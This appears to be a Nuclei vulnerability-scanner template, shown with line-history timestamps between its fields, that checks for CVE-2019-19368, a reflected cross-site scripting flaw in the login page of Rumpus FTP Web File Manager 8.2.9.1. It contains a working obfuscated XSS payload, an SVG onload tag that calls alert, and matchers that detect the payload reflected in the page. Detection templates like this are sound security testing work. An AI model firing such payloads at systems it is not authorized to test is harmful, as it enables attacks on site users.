2021-01-02 04:59:06 +00:00
id : CVE-2019-19368
2020-04-08 13:05:45 +00:00
info :
name : Rumpus FTP Web File Manager 8.2.9.1 XSS
author : madrobot
2020-05-25 07:49:06 +00:00
severity : medium
2021-03-30 12:10:17 +00:00
description : A Reflected Cross Site Scripting was discovered in the Login page of Rumpus FTP Web File Manager 8.2.9.1. An attacker can exploit it by sending a crafted link to end users and can execute arbitrary Javascripts
reference : https://github.com/harshit-shukla/CVE-2019-19368/
2021-02-05 19:44:41 +00:00
tags : cve,cve2019,xss
2020-04-08 13:05:45 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/Login?!'><sVg/OnLoAD=alert`1337`//"
2020-07-08 11:38:57 +00:00
matchers-condition : and
2020-04-08 13:05:45 +00:00
matchers :
- type : status
status :
2020-05-25 07:49:06 +00:00
- 200
2020-04-08 13:20:31 +00:00
- type : word
2020-04-08 13:24:48 +00:00
words :
2020-05-25 07:49:06 +00:00
- "value=''><sVg/OnLoAD=alert`1337`//'>"
2020-04-08 13:05:45 +00:00
part : body
